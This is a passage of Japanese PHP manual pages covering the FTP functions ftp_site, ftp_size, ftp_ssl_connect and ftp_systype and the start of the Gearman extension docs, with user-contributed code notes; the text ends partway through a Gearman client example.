Here they are, they are pretty much so self explanitory:
<?
function guildftpd_adduser($ftp_stream,$group,$username,$password){
    ftp_site($ftp_stream,"SITE ADDUSER $group $username $password");
}
function guildftpd_addgroup($ftp_stream,$groupname){
    ftp_site($ftp_stream,"SITE ADDGROUP $groupname");
}
function guildftpd_deluser($ftp_stream,$username){
    ftp_site($ftp_stream,"SITE DELUSER $username");
}
function guildftpd_addpath($ftp_stream,$username,$path,$vpath){
    ftp_site($ftp_stream,"SITE ADDPATH $username $path $vpath");
}
function guildftpd_delpath($ftp_stream,$username,$path,$vpath){
    ftp_site($ftp_stream,"SITE DELPATH $username $path $vpath");
}
function guildftpd_anon($ftp_stream){
    ftp_site($ftp_stream,"SITE ANON ALLOW");
}
function guildftpd_anond($ftp_stream){
    ftp_site($ftp_stream,"SITE ANON DENY");
}
function guildftpd_chpass($ftp_stream,$user,$pass){
    ftp_site($ftp_stream,"SITE CHPASS $user $pass");
}
function guildftpd_disable($ftp_stream,$user){
    ftp_site($ftp_stream,"SITE DISABLE $user");
}
function guildftpd_enable($ftp_stream,$user){
    ftp_site($ftp_stream,"SITE ENABLE $user");
}
function guildftpd_who($ftp_stream){
    $who = ftp_site($ftp_stream,"SITE WHO");
}
function guildftpd_kick($ftp_stream,$user);
    ftp_site($ftp_stream,"SITE KICK $user");
}
function guildftpd_msg($ftp_stream,$text);
    ftp_site($ftp_stream,"SITE MSG $text");
}
?>
to at mail dot isec dot pt 21-Nov-2002 05:20
Hya,
  Recently I had to work with FTP over PHP, since I didn't found any help about this topic I decided to post this here. If you need to chmod one file, I tested this on the ftp server using a ftp client and after I knew that the ftp server supported chmod I used the following commands:
$upload = ftp_put($conn_id, "/home/to/public_html/index.php", $source_file, FTP_ASCII);
$ch=@ftp_site($conn_id,"chmod 755 /home/to/public_html/index.php");

Hope this help!

T?
daemorhedron 17-Nov-2002 05:32
I'd like to follow up with Ivan's observation there. Unless I am missing the obvious, which is entirely possible of course, this command is quite useless unless it returns the data from the SITE <foo> request.

Besides the obvious SITE HELP command, another one that would require catching the feedback would be the SITE LOCATE | SITE SEARCH commands. I completely recognize that SITE <foo> commands are indeed insanely proprietary, but the fact still remains that changing this to return the results, or at least having the option to do so (such as exec() and the like) would be vastly preferred to the current method of returning true/false values.

Thanks.
29-Jun-2001 09:36
site commands are extra-functionality provided by some ftp servers, and depend on the server :
e.g. trying "ftp> site help" (with an interactive ftp client) on a proftp server would give :

214-The following SITE extensions are recognized:
 RATIO -- show all ratios in effect
 The following SITE commands are recognized (* =>'s unimplemented).
 HELP    CHMOD
214 Direct comments to admin@ftp.blahblah.fr

while with wu-ftpd on can typically get :

214-The following SITE commands are recognized (* =>'s unimplemented).
   UMASK           GROUP           INDEX           GROUPS
   IDLE            GPASS           EXEC            CHECKMETHOD
   CHMOD           NEWER           ALIAS           CHECKSUM
   HELP            MINFO           CDPATH
214 blabla

Unfortunately, ftp_site only returns true or false. It would be nice to have a way to get the server's reply in full : ftp_site('help') return 1, which pretty much useless.

Hope that helps,

Ivan


指定したファイルのサイズを返す

  • ≪ ftp_site
  • ftp_ssl_connect ≫
  • PHP Manual
  • FTP 関数
  • 指定したファイルのサイズを返す

ftp_size

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_size — 指定したファイルのサイズを返す

説明

ftp_size ( resource $ftp , string $filename ) : int

ftp_size() は指定されたファイルのサイズを バイト数で返します。

注意:

すべてのサーバーがこの機能をサポートしているわけではありません。

パラメータ

ftp

FTP 接続のリンク ID 。

filename

リモートファイル。

返り値

成功した場合はファイルのサイズを、エラー時には -1 を返します。

例

例1 ftp_size() の例

<?php

$file = 'somefile.txt';

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// $file のサイズを取得する
$res = ftp_size($conn_id, $file);

if ($res != -1) {
    echo "size of $file is $res bytes";
} else {
    echo "couldn't get the size";
}

// 接続を閉じる
ftp_close($conn_id);

?>

参考

  • ftp_rawlist() - 指定したディレクトリの詳細なファイル一覧を返す

User Contributed Notes

gerben at gerbs dot net 22-Jun-2012 07:25
To overcome the 2 GB limitation, the ftp_raw solution below is probably the nicest. You can also perform this command using regular FTP commands:

<?php
$response =  ftp_raw($ftpConnection, "SIZE $filename");
$filesize = floatval(str_replace('213 ', '', $response[0]));
?>

[However, this] is insufficient for use on directories. As per RFC 3659 (http://tools.ietf.org/html/rfc3659#section-4.2), servers should return error 550 (File not found) if the command is issued on something else than a file, or if some other error occurred. For example, Filezilla indeed returns this string when using the ftp_raw command on a directory:

array(1) {
  [0]=>
  string(18) "550 File not found"
}

RFC 959 (http://tools.ietf.org/html/rfc959) dictates that the returned string always consists of exactly 3 digits, followed by 1 space, followed by some text. (Multi-line text is allowed, but I am ignoring that.) So it is probably better to split the string with substr, or even a regular expression.

<?php
$response = ftp_raw($ftp, "SIZE $filename");
$responseCode = substr($response[0], 0, 3);
$responseMessage = substr($response[0], 4);
?>

Or with a regular expression:

<?php
$response = ftp_raw($ftp, "SIZE $filename");
if (preg_match("/^(\\d{3}) (.*)$/", $response[0], $matches) == 0)
    throw new Exception("Unable to parse FTP reply: ".$response[0]);
list($response, $responseCode, $responseMessage) = $matches;
?>

You could then decide to assume that response code '550' means that it's a directory. I guess that's just as 'dangerous' as assuming that ftp_size -1 means that it's a directory.
ibeono at gmail dot com 28-Jul-2011 04:19
If you experience troubles with size of large file then you can use ftp_rawlist function and parse it result
bluerain [at] telenet [dot] be 10-Jul-2009 01:41
To overcome the 2GB file size limit, you can open your own socket to get the file size of a large file. Quick and dirty script:

<?php
$socket=fsockopen($hostName, 21);
$t=fgets($socket, 128);
fwrite($socket, "USER $myLogin\r\n");
$t=fgets($socket, 128);
fwrite($socket, "PASS $myPass\r\n");
$t=fgets($socket, 128);
fwrite($socket, "SIZE $fileName\r\n");
$t=fgets($socket, 128);
$fileSize=floatval(str_replace("213 ","",$t));
echo $fileSize;
fwrite($socket, "QUIT\r\n");
fclose($socket);
?>
miccots at gmail dot com 30-Oct-2007 01:55
2 adams[AT]techweavers[DOT]net:
To get a size of large file (f. ex.: 3.2 Gb) you have to format the result returned by ftp_size():

$size = sprintf ("%u", ftp_size($connection, $file_name));

So you can get the real size of big files. But this method is not good for checking is this a dir (when ftp_size() returns -1).
C_Muller 21-Jul-2007 03:42
For checking if a certain folder exists try using ftp_nlist() function to get a directory list in array. By using in_array('foldername') you can find out if it is there or not.
chuck at t8design dot com 23-May-2006 09:54
note that project_t4 at hotmail dot com's example above doesn't work in general, though it works on his Win2K/Apache server; as far as I can tell there is no way to check over ftp whether a directory exists.  This function's behavior given a directory name seems to be at least somewhat dependent on your OS, web server, or ftp server, I don't know which.
adams[AT]techweavers[DOT]net 21-Jun-2005 02:30
Well this function is nice but if you have files larger then 2.1Gb or 2.1 Billion Bytes you cannot get its size.
28-Sep-2004 06:10
To get a dirsize recursive you can use this simple function:

<?php # copyright by fackelkind | codeMaster
    function getRecDirSize ($connection, $dir){
        $temp = ftp_rawlist ($connection, "-alR $dir");
        foreach ($temp as $file){
            if (ereg ("([-d][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)", $file, $regs)){
                $isdir = (substr ($regs[1],0,1) == "d");
                if (!$isdir)
                    $size += $regs[5];
            }
        }
        return $size;
    }
    $dirSize = getRecDirSize ($conID, "/");
?>
project_t4 at hotmail dot com 18-Mar-2004 11:03
Just to let people out there know, on my windows 2000 server running Apache and php i was returned 0 not -1 for directories.

foreach ($dir_list as $item)
    {
      if(ftp_size($conn_id, $item) == "0")
      {
      echo "<br>Directory:: ".$item;
      } else {
      echo "<br>File:: ".$item;
      }
    }

This outputs a list of the remote directory and indicates which items are directories and which are files.
nicke_ at at_h9k dot com 03-Oct-2003 06:48
This will return the filesize on remote host and the size if you download it in FTP_BINARY mode. If you are using FTP_ASCII in ftp_get() the size can be changed.
victor59 at yahoo dot com dot hk 23-Dec-2002 01:44
$file= 'filename with space.txt';
$size = ftp_size($this->ftp, urldecode($file) );

this one can correctly return the size
otherwize, it always return -1


セキュアな SSL-FTP 接続をオープンする

  • ≪ ftp_size
  • ftp_systype ≫
  • PHP Manual
  • FTP 関数
  • セキュアな SSL-FTP 接続をオープンする

ftp_ssl_connect

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_ssl_connect — セキュアな SSL-FTP 接続をオープンする

説明

ftp_ssl_connect ( string $hostname , int $port = 21 , int $timeout = 90 ) : resource|false

ftp_ssl_connect() は、指定した hostname への明示的な SSL-FTP 接続をオープンします。 サーバー側が SSL-FTP 接続に対応していなかったり、証明書が無効であったりした場合でも、 ftp_ssl_connect() は成功します。 そういった場合は、ftp_login() を呼んで AUTH FTP コマンドを送信した時点ではじめて、 ftp_login() が失敗することになります。

注意: この関数が存在しないことがあるのはなぜですか？

PHP 7.0.0 より前のバージョンでは、 ftp_ssl_connect() が使えるのは ftp拡張モジュールと OpenSSL が静的に PHP に組み込まれている場合だけでした。 つまり、Windows 版の PHP 公式ビルドではこの関数は使えなかったということです。 この関数を Windows で使いたい場合は、PHP バイナリを自分でコンパイルしなければなりませんでした。

注意:

ftp_ssl_connect() は、sFTP で使うための関数ではありません。 PHP で sFTP を使うには ssh2_sftp() を参照ください。

パラメータ

hostname

FTP サーバーのアドレス。このパラメータには、最後のスラッシュや 先頭の ftp:// をつけてはいけません。

port

port パラメータは別のポートに接続することを 指定します。これを省略するか 0 にした場合、デフォルトの FTP ポート、 つまり 21 が使用されます。

timeout

このパラメータは、以降の全てのネットワーク処理の タイムアウトを指定します。省略された場合の デフォルト値は、90 秒となります。timeout は、 ftp_set_option() および ftp_get_option() でいつでも変更および取得可能です。

返り値

成功した場合に SSL-FTP ストリーム、エラー時に false を返します。

例

例1 ftp_ssl_connect() の例

<?php

// SSL 接続を確立する
$conn_id = ftp_ssl_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

if (!$login_result) {
    // この場合は、すでに PHP 側で E_WARNING レベルのメッセージを発行しています。
    die("can't login");
}

echo ftp_pwd($conn_id); // /

// SSL 接続を閉じる
ftp_close($conn_id);
?>

参考

  • ftp_connect() - FTP 接続をオープンする

User Contributed Notes

There are no user contributed notes for this page.


リモート FTP サーバーのシステム型 ID を返す

  • ≪ ftp_ssl_connect
  • Gearman ≫
  • PHP Manual
  • FTP 関数
  • リモート FTP サーバーのシステム型 ID を返す

ftp_systype

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_systype — リモート FTP サーバーのシステム型 ID を返す

説明

ftp_systype ( resource $ftp ) : string|false

リモート FTP サーバーのシステム型 ID を返します。

パラメータ

ftp

FTP 接続のリンク ID 。

返り値

リモートシステム型を返します。エラー時には false を返します。

例

例1 ftp_systype() の例

<?php

// 接続を確立する
$ftp = ftp_connect('ftp.example.com');
ftp_login($ftp, 'user', 'password');

// システム型を取得する
if ($type = ftp_systype($ftp)) {
    echo "Example.com is powered by $type\n";
} else {
    echo "Couldn't get the systype";
}

?>

上の例の出力は、 たとえば以下のようになります。

Example.com is powered by UNIX

User Contributed Notes

Buckwheat469 at hotmail dot com 26-Jul-2006 09:41
ftp_systype can be a good way of checking the state of a connection, since PHP doesn't have a better system to check the state of an ftp connection (is_connected would be nice).

if (!($type = ftp_systype($conn_id))) {
    echo "FTP connection has failed! Trying again.\n";
    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user, $ftp_pass);
}


Gearman

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • Basic usage
    • Basic Gearman client and worker, background
    • Basic Gearman client and worker, submitting tasks
  • GearmanClient — The GearmanClient class
    • GearmanClient::addOptions — Add client options
    • GearmanClient::addServer — Add a job server to the client
    • GearmanClient::addServers — Add a list of job servers to the client
    • GearmanClient::addTask — Add a task to be run in parallel
    • GearmanClient::addTaskBackground — Add a background task to be run in parallel
    • GearmanClient::addTaskHigh — Add a high priority task to run in parallel
    • GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel
    • GearmanClient::addTaskLow — Add a low priority task to run in parallel
    • GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel
    • GearmanClient::addTaskStatus — Add a task to get status
    • GearmanClient::clearCallbacks — Clear all task callback functions
    • GearmanClient::clone — Create a copy of a GearmanClient object
    • GearmanClient::__construct — Create a GearmanClient instance
    • GearmanClient::context — Get the application context
    • GearmanClient::data — Get the application data (deprecated)
    • GearmanClient::do — Run a single task and return a result [deprecated]
    • GearmanClient::doBackground — Run a task in the background
    • GearmanClient::doHigh — Run a single high priority task
    • GearmanClient::doHighBackground — Run a high priority task in the background
    • GearmanClient::doJobHandle — Get the job handle for the running task
    • GearmanClient::doLow — Run a single low priority task
    • GearmanClient::doLowBackground — Run a low priority task in the background
    • GearmanClient::doNormal — Run a single task and return a result
    • GearmanClient::doStatus — Get the status for the running task
    • GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]
    • GearmanClient::error — Returns an error string for the last error encountered
    • GearmanClient::getErrno — Get an errno value
    • GearmanClient::jobStatus — Get the status of a background job
    • GearmanClient::ping — Send data to all job servers to see if they echo it back
    • GearmanClient::removeOptions — Remove client options
    • GearmanClient::returnCode — Get the last Gearman return code
    • GearmanClient::runTasks — Run a list of tasks in parallel
    • GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)
    • GearmanClient::setCompleteCallback — Set a function to be called on task completion
    • GearmanClient::setContext — Set application context
    • GearmanClient::setCreatedCallback — Set a callback for when a task is queued
    • GearmanClient::setData — Set application data (deprecated)
    • GearmanClient::setDataCallback — Callback function when there is a data packet for a task
    • GearmanClient::setExceptionCallback — Set a callback for worker exceptions
    • GearmanClient::setFailCallback — Set callback for job failure
    • GearmanClient::setOptions — Set client options
    • GearmanClient::setStatusCallback — Set a callback for collecting task status
    • GearmanClient::setTimeout — Set socket I/O activity timeout
    • GearmanClient::setWarningCallback — Set a callback for worker warnings
    • GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates
    • GearmanClient::timeout — Get current socket I/O activity timeout value
    • GearmanClient::wait — Wait for I/O activity on all connections in a client
  • GearmanJob — The GearmanJob class
    • GearmanJob::complete — Send the result and complete status (deprecated)
    • GearmanJob::__construct — Create a GearmanJob instance
    • GearmanJob::data — Send data for a running job (deprecated)
    • GearmanJob::exception — Send exception for running job (deprecated)
    • GearmanJob::fail — Send fail status (deprecated)
    • GearmanJob::functionName — Get function name
    • GearmanJob::handle — Get the job handle
    • GearmanJob::returnCode — Get last return code
    • GearmanJob::sendComplete — Send the result and complete status
    • GearmanJob::sendData — Send data for a running job
    • GearmanJob::sendException — Send exception for running job (exception)
    • GearmanJob::sendFail — Send fail status
    • GearmanJob::sendStatus — Send status
    • GearmanJob::sendWarning — Send a warning
    • GearmanJob::setReturn — Set a return value
    • GearmanJob::status — Send status (deprecated)
    • GearmanJob::unique — Get the unique identifier
    • GearmanJob::warning — Send a warning (deprecated)
    • GearmanJob::workload — Get workload
    • GearmanJob::workloadSize — Get size of work load
  • GearmanTask — The GearmanTask class
    • GearmanTask::__construct — Create a GearmanTask instance
    • GearmanTask::create — Create a task (deprecated)
    • GearmanTask::data — Get data returned for a task
    • GearmanTask::dataSize — Get the size of returned data
    • GearmanTask::function — Get associated function name (deprecated)
    • GearmanTask::functionName — Get associated function name
    • GearmanTask::isKnown — Determine if task is known
    • GearmanTask::isRunning — Test whether the task is currently running
    • GearmanTask::jobHandle — Get the job handle
    • GearmanTask::recvData — Read work or result data into a buffer for a task
    • GearmanTask::returnCode — Get the last return code
    • GearmanTask::sendData — Send data for a task (deprecated)
    • GearmanTask::sendWorkload — Send data for a task
    • GearmanTask::taskDenominator — Get completion percentage denominator
    • GearmanTask::taskNumerator — Get completion percentage numerator
    • GearmanTask::unique — Get the unique identifier for a task
    • GearmanTask::uuid — Get the unique identifier for a task (deprecated)
  • GearmanWorker — The GearmanWorker class
    • GearmanWorker::addFunction — Register and add callback function
    • GearmanWorker::addOptions — Add worker options
    • GearmanWorker::addServer — Add a job server
    • GearmanWorker::addServers — Add job servers
    • GearmanWorker::clone — Create a copy of the worker
    • GearmanWorker::__construct — Create a GearmanWorker instance
    • GearmanWorker::echo — Test job server response
    • GearmanWorker::error — Get the last error encountered
    • GearmanWorker::getErrno — Get errno
    • GearmanWorker::options — Get worker options
    • GearmanWorker::register — Register a function with the job server
    • GearmanWorker::removeOptions — Remove worker options
    • GearmanWorker::returnCode — Get last Gearman return code
    • GearmanWorker::setId — Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers
    • GearmanWorker::setOptions — Set worker options
    • GearmanWorker::setTimeout — Set socket I/O activity timeout
    • GearmanWorker::timeout — Get socket I/O activity timeout
    • GearmanWorker::unregister — Unregister a function name with the job servers
    • GearmanWorker::unregisterAll — Unregister all function names with the job servers
    • GearmanWorker::wait — Wait for activity from one of the job servers
    • GearmanWorker::work — Wait for and perform jobs
  • GearmanException — The GearmanException class

User Contributed Notes

Anonymous 24-Apr-2013 10:54
For my previous comment:

this line:
<?php
$worker->addFunction(new MyClass($test), 'myMethod');
?>

change to:

<?php
$worker->addFunction($taskName, array(new MyClass(), 'myMethod'));
?>
spacewalker2002 at ukr dot net 23-Apr-2013 11:34
You can use this syntax:

<?php
   $worker = new GearmanWorker();
   $worker->addServer();
   $worker->addFunction(new MyClass($test), 'myMethod');

class MyClass
{
   public function __construct($test)
   {
       $this->test = $test;
   }

   public function myMethod(GearmanJob $job)
   {
      // you can access to $this->test;
   }
}
jon dot skarpeteig at gmail dot com 29-Aug-2012 08:26
Unfortunately there's no manager in the pecl extension. If you want to make use of admin features, check out: http://pear.php.net/package/Net_Gearman which implements the administrative protocol in Manager.php as defined in: http://gearman.org/?id=protocol


はじめに

» Gearman は、複数のマシンやプロセスに 作業を任せるための汎用的なアプリケーションフレームワークです。これにより、 アプリケーションはタスクを並列で遂行したり、処理の負荷を分散したり、 言語をまたいで関数を呼び出したりできます。このフレームワークは、可用性の高い Webサイトから、データベースのレプリケーションイベントの転送処理まで、 さまざまなアプリケーションで使用できます。

この拡張モジュールは、Gearman のクライアントとワーカーを書くためのクラスを提供します。

User Contributed Notes

There are no user contributed notes for this page.


要件

This extension requires the » libgearman, » libevent and » uuid libraries, and a running Gearman server.

User Contributed Notes

sharkyan1982 at gmail dot com 22-Oct-2012 09:16
When deployment on CentOS_5.8_x64 , you need the following:
1. gcc44
2. boost >=1.39
3. libevent
4. php5.3+
5. update ld.so.conf
Before you start the gearman_1.1.1+.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/gearman

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

Return values. Always check GearmanClient::error() or GearmanWorker() for a string error, as it may contain more details:

GEARMAN_SUCCESS (int)
Whatever action was taken was successful.
GEARMAN_IO_WAIT (int)
When in non-blocking mode, an event is hit that would have blocked.
GEARMAN_ERRNO (int)
A system error. Check GearmanClient::errno() or GearmanWorker::errno() for the system error code that was returned.
GEARMAN_NO_ACTIVE_FDS (int)
GearmanClient::wait() or GearmanWorker() was called with no connections.
GEARMAN_UNEXPECTED_PACKET (int)
Indicates something going very wrong in gearmand. Applies only to GearmanWorker.
GEARMAN_GETADDRINFO (int)
DNS resolution failed (invalid host, port, etc).
GEARMAN_NO_SERVERS (int)
Did not call GearmanClient::addServer() before submitting jobs or tasks.
GEARMAN_LOST_CONNECTION (int)
Lost a connection during a request.
GEARMAN_MEMORY_ALLOCATION_FAILURE (int)
Memory allocation failed (ran out of memory).
GEARMAN_SERVER_ERROR (int)
Something went wrong in the Gearman server and it could not handle the request gracefully.
GEARMAN_WORK_DATA (int)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Sent to update the client with data from a running job. A worker uses this when it needs to send updates, send partial results, or flush data during long running jobs.
GEARMAN_WORK_WARNING (int)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Updates the client with a warning. The behavior is just like GEARMAN_WORK_DATA, but should be treated as a warning instead of normal response data.
GEARMAN_WORK_STATUS (int)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Sent to update the status of a long running job. Use GearmanClient::doStatus() to obtain the percentage complete of the task.
GEARMAN_WORK_EXCEPTION (int)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Indicates that a job failed with a given exception.
GEARMAN_WORK_FAIL (int)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Indicates that the job failed.
GEARMAN_COULD_NOT_CONNECT (int)
Failed to connect to servers.
GEARMAN_INVALID_FUNCTION_NAME (int)
Trying to register a function name of NULL or using the callback interface without specifying callbacks.
GEARMAN_INVALID_WORKER_FUNCTION (int)
Trying to register a function with a NULL callback function.
GEARMAN_NO_REGISTERED_FUNCTIONS (int)
When a worker gets a job for a function it did not register.
GEARMAN_NO_JOBS (int)
For a non-blocking worker, when GearmanWorker::work() does not have any active jobs.
GEARMAN_ECHO_DATA_CORRUPTION (int)
After GearmanClient::echo() or GearmanWorker::echo() the data returned doesn't match the data sent.
GEARMAN_NEED_WORKLOAD_FN (int)
When the client opted to stream the workload of a task, but did not specify a workload callback function.
GEARMAN_PAUSE (int)
For the non-blocking client task interface, can be returned from the task callback to "pause" the call and return from GearmanClient::runTasks(). Call GearmanClient::runTasks() again to continue.
GEARMAN_UNKNOWN_STATE (int)
Internal client/worker state error.
GEARMAN_SEND_BUFFER_TOO_SMALL (int)
Internal error: trying to flush more data in one atomic chunk than is possible due to hard-coded buffer sizes.
GEARMAN_TIMEOUT (int)
Hit the timeout limit set by the client/worker.

GearmanClient options:

GEARMAN_CLIENT_GENERATE_UNIQUE (int)
Generate a unique id (UUID) for each task.
GEARMAN_CLIENT_NON_BLOCKING (int)
Run the cient in a non-blocking mode.
GEARMAN_CLIENT_UNBUFFERED_RESULT (int)
Allow the client to read data in chunks rather than have the library buffer the entire data result and pass that back.
GEARMAN_CLIENT_FREE_TASKS (int)
Automatically free task objects once they are complete. This is the default setting in this extension to prevent memory leaks.

GearmanWorker options:

GEARMAN_WORKER_NON_BLOCKING (int)
Run the worker in non-blocking mode.
GEARMAN_WORKER_GRAB_UNIQ (int)
Return the client assigned unique ID in addition to the job handle.

Base Gearman configuration:

GEARMAN_DEFAULT_TCP_HOST (string)
GEARMAN_DEFAULT_TCP_PORT (int)
GEARMAN_DEFAULT_SOCKET_TIMEOUT (int)
GEARMAN_DEFAULT_SOCKET_SEND_SIZE (int)
GEARMAN_DEFAULT_SOCKET_RECV_SIZE (int)
GEARMAN_MAX_ERROR_SIZE (int)
GEARMAN_PACKET_HEADER_SIZE (int)
GEARMAN_JOB_HANDLE_SIZE (int)
GEARMAN_OPTION_SIZE (int)
GEARMAN_UNIQUE_SIZE (int)
GEARMAN_MAX_COMMAND_ARGS (int)
GEARMAN_ARGS_BUFFER_SIZE (int)
GEARMAN_SEND_BUFFER_SIZE (int)
GEARMAN_RECV_BUFFER_SIZE (int)
GEARMAN_WORKER_WAIT_TIMEOUT (int)

User Contributed Notes

michaelhfranze at gmail dot com 07-May-2015 10:26
If you are getting

Error 26  GEARMAN_COULD_NOT_CONNECT (integer)

and you are running SELinux then you need to set

setsetbool -P http_can_network_connect = 1
y_inaura at hm-solution dot jp 13-Apr-2015 02:02
retrunCodes is missed from No.33 .
I think , Correct retrunCodes are this.

GEARMAN_SUCCESS = 0
GEARMAN_IO_WAIT = 1
GEARMAN_SHUTDOWN = 2
GEARMAN_SHUTDOWN_GRACEFUL = 3
GEARMAN_ERRNO = 4
GEARMAN_EVENT = 5
GEARMAN_TOO_MANY_ARGS = 6
GEARMAN_NO_ACTIVE_FDS = 7
GEARMAN_INVALID_MAGIC = 8
GEARMAN_INVALID_COMMAND = 9
GEARMAN_INVALID_PACKET = 10
GEARMAN_UNEXPECTED_PACKET = 11
GEARMAN_GETADDRINFO = 12
GEARMAN_NO_SERVERS = 13
GEARMAN_LOST_CONNECTION = 14
GEARMAN_MEMORY_ALLOCATION_FAILURE = 15
GEARMAN_JOB_EXISTS = 16
GEARMAN_JOB_QUEUE_FULL = 17
GEARMAN_SERVER_ERROR = 18
GEARMAN_WORK_ERROR = 19
GEARMAN_WORK_DATA = 20
GEARMAN_WORK_WARNING = 21
GEARMAN_WORK_STATUS = 22
GEARMAN_WORK_EXCEPTION = 23
GEARMAN_WORK_FAIL = 24
GEARMAN_NOT_CONNECTED = 25
GEARMAN_COULD_NOT_CONNECT = 26
GEARMAN_SEND_IN_PROGRESS = 27
GEARMAN_RECV_IN_PROGRESS = 28
GEARMAN_NOT_FLUSHING = 29
GEARMAN_DATA_TOO_LARGE = 30
GEARMAN_INVALID_FUNCTION_NAME = 31
GEARMAN_INVALID_WORKER_FUNCTION = 32
GEARMAN_NO_REGISTERED_FUNCTIONS = 34
GEARMAN_NO_JOBS = 35
GEARMAN_ECHO_DATA_CORRUPTION = 36
GEARMAN_NEED_WORKLOAD_FN = 37
GEARMAN_PAUSE = 38
GEARMAN_UNKNOWN_STATE = 39
GEARMAN_PTHREAD = 40
GEARMAN_PIPE_EOF = 41
GEARMAN_QUEUE_ERROR = 42
GEARMAN_FLUSH_DATA = 43
GEARMAN_SEND_BUFFER_TOO_SMALL = 44
GEARMAN_IGNORE_PACKET = 45
GEARMAN_UNKNOWN_OPTION = 46
GEARMAN_MAX_RETURN = 52
ion dot dulgheru at gmail dot com 19-Aug-2012 01:46
an update (gearman 0.35):

GEARMAN_NO_REGISTERED_FUNCTION = 33
GEARMAN_NO_REGISTERED_FUNCTIONS =    34
GEARMAN_NO_JOBS = 35
GEARMAN_ECHO_DATA_CORRUPTION = 36
GEARMAN_NEED_WORKLOAD_FN = 37
GEARMAN_PAUSE = 38
GEARMAN_UNKNOWN_STATE = 39
GEARMAN_PTHREAD = 40
GEARMAN_PIPE_EOF     = 41
GEARMAN_QUEUE_ERROR    = 42
GEARMAN_FLUSH_DATA = 43
GEARMAN_SEND_BUFFER_TOO_SMALL = 44
GEARMAN_IGNORE_PACKET = 45
GEARMAN_UNKNOWN_OPTION = 46
GEARMAN_TIMEOUT    = 47
GEARMAN_ARGUMENT_TOO_LARGE = 48
GEARMAN_MAX_RETURN =    49
Shane Harter 15-Jun-2010 11:30
I looked everywhere for for a dump of the values of each of the gearman constants. I ended up in the gearman source.

You'll find this useful if you ever just echo the return code.

GEARMAN_SUCCESS = 0
GEARMAN_IO_WAIT = 1
GEARMAN_SHUTDOWN = 2
GEARMAN_SHUTDOWN_GRACEFUL = 3
GEARMAN_ERRNO = 4
GEARMAN_EVENT = 5
GEARMAN_TOO_MANY_ARGS = 6
GEARMAN_NO_ACTIVE_FDS = 7
GEARMAN_INVALID_MAGIC = 8
GEARMAN_INVALID_COMMAND = 9
GEARMAN_INVALID_PACKET = 10
GEARMAN_UNEXPECTED_PACKET = 11
GEARMAN_GETADDRINFO = 12
GEARMAN_NO_SERVERS = 13
GEARMAN_LOST_CONNECTION = 14
GEARMAN_MEMORY_ALLOCATION_FAILURE = 15
GEARMAN_JOB_EXISTS = 16
GEARMAN_JOB_QUEUE_FULL = 17
GEARMAN_SERVER_ERROR = 18
GEARMAN_WORK_ERROR = 19
GEARMAN_WORK_DATA = 20
GEARMAN_WORK_WARNING = 21
GEARMAN_WORK_STATUS = 22
GEARMAN_WORK_EXCEPTION = 23
GEARMAN_WORK_FAIL = 24
GEARMAN_NOT_CONNECTED = 25
GEARMAN_COULD_NOT_CONNECT = 26
GEARMAN_SEND_IN_PROGRESS = 27
GEARMAN_RECV_IN_PROGRESS = 28
GEARMAN_NOT_FLUSHING = 29
GEARMAN_DATA_TOO_LARGE = 30
GEARMAN_INVALID_FUNCTION_NAME = 31
GEARMAN_INVALID_WORKER_FUNCTION = 32
GEARMAN_NO_REGISTERED_FUNCTIONS = 33
GEARMAN_NO_JOBS = 34
GEARMAN_ECHO_DATA_CORRUPTION = 35
GEARMAN_NEED_WORKLOAD_FN = 36
GEARMAN_PAUSE = 37
GEARMAN_UNKNOWN_STATE = 38
GEARMAN_PTHREAD = 39
GEARMAN_PIPE_EOF = 40
GEARMAN_QUEUE_ERROR = 41
GEARMAN_FLUSH_DATA = 42
GEARMAN_SEND_BUFFER_TOO_SMALL = 43
GEARMAN_IGNORE_PACKET = 44
GEARMAN_UNKNOWN_OPTION = 45
GEARMAN_MAX_RETURN = 46


例

目次

  • Basic usage
  • Basic Gearman client and worker, background
  • Basic Gearman client and worker, submitting tasks

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

例1 Basic Gearman client and worker

This example shows a very simple client and worker. The client sends a string to the job server, and the worker reverses the string and sends it back. The job is performed synchronously.

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->doNormal("reverse", "Hello!");

  # Check for various return packets and errors.
  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      echo "Data: $result\n";
      break;
    case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
